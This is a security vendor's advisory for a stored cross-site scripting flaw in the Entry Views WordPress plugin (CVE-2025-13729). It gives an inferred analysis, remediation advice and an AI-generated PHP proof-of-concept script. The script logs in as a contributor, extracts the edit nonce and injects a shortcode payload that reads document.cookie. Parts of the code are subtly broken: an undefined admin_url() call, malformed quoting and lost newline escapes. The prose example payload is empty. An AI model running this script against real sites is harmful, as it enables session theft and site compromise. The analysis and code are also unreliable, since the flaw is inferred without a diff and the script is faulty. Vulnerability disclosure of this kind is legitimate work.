Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13729: Entry Views <= 1.0.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode (entry-views)

Plugin entry-views
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.0
Patched Version
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13729 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Entry Views WordPress plugin, version 1.0.0. The vulnerability exists within the plugin’s ‘entry-views’ shortcode handler. Attackers with contributor-level or higher permissions can inject malicious scripts into posts or pages, which execute when a visitor views the compromised content. The CVSS score of 6.4 (Medium) reflects its network accessibility, low attack complexity, and scope change impact.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on user-supplied shortcode attributes. The CWE-79 classification confirms this is a classic case of improper neutralization of input during web page generation. Without a code diff, this conclusion is inferred from the vulnerability description and the CWE. The plugin likely directly echoes user-controlled attribute values from the shortcode without applying proper escaping functions like `esc_attr()` or `esc_html()` before output.

Exploitation requires an authenticated user with at least ‘contributor’ privileges. The attacker would edit or create a post or page and embed the vulnerable shortcode with malicious JavaScript payloads in its attributes. For example, `[entry-views custom_attribute=”“]`. When the post is saved and later viewed by any user, the script executes in the victim’s browser. The attack vector is the WordPress post editor, and the payload is stored in the database.

Remediation requires implementing proper output escaping. The plugin should use WordPress core escaping functions such as `esc_attr()` for HTML attributes and `wp_kses()` for allowed HTML within shortcode output. A secure patch would also involve validating and sanitizing shortcode attributes upon registration using functions like `shortcode_atts()`. The lack of a patched version indicates the plugin may be abandoned.

Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions as the victim user, deface sites, or redirect users to malicious domains. For sites where contributors are untrusted users, this vulnerability poses a significant risk to all visitors of the compromised page. The scope change (S:C) in the CVSS vector indicates the attack can impact users beyond the vulnerable plugin’s own security context.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13729 - Entry Views <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
// CONFIGURATION
$target_url = 'http://target-site.local/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$post_id_to_edit = 123; // ID of an existing post the contributor can edit.

// ASSUMPTIONS:
// 1. The attacker has contributor credentials.
// 2. The 'entry-views' shortcode is vulnerable to XSS via its attributes.
// 3. The attacker can edit a post (e.g., a draft) to inject the payload.
// 4. The payload will be stored and execute when an admin or visitor views the post.

// Payload: A basic XSS proof-of-concept to trigger an alert.
$malicious_shortcode = '[entry-views example="<img src="x" onerror="alert(`Atomic Edge XSS: `+document.cookie)">"]';

// Initialize cURL session for cookie persistence.
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// STEP 1: Authenticate to WordPress.
echo "[+] Authenticating as {$username}n";
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
    die("[-] Authentication failed. Check credentials.");
}

// STEP 2: Navigate to the post edit page to obtain a nonce.
echo "[+] Retrieving edit page and nonce for post ID {$post_id_to_edit}n";
$edit_url = "http://target-site.local/wp-admin/post.php?post={$post_id_to_edit}&action=edit";
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$edit_page = curl_exec($ch);

// Extract the nonce for updating the post. This regex looks for the '_wpnonce' field in the post edit form.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die("[-] Could not extract nonce from edit page.");
}
$nonce = $nonce_matches[1];
echo "[+] Extracted nonce: {$nonce}n";

// STEP 3: Update the post content to include the malicious shortcode.
echo "[+] Injecting malicious shortcode into post content.n";
$update_url = "http://target-site.local/wp-admin/post.php";
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
// For simplicity, this assumes we are replacing the entire post content.
// A real attack might append to existing content.
$update_fields = [
    'post_ID' => $post_id_to_edit,
    '_wpnonce' => $nonce,
    '_wp_http_referer' => urlencode("/wp-admin/post.php?post={$post_id_to_edit}&action=edit"),
    'action' => 'editpost',
    'content' => $malicious_shortcode,
    'save' => 'Update'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$update_response = curl_exec($ch);
if (strpos($update_response, 'Post updated.') !== false || strpos($update_response, 'Post draft updated.') !== false) {
    echo "[+] Success! Post updated with malicious shortcode.n";
    echo "[+] The XSS payload will execute when the post is viewed: {$malicious_shortcode}n";
} else {
    echo "[-] Post update may have failed. Check permissions and post status.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School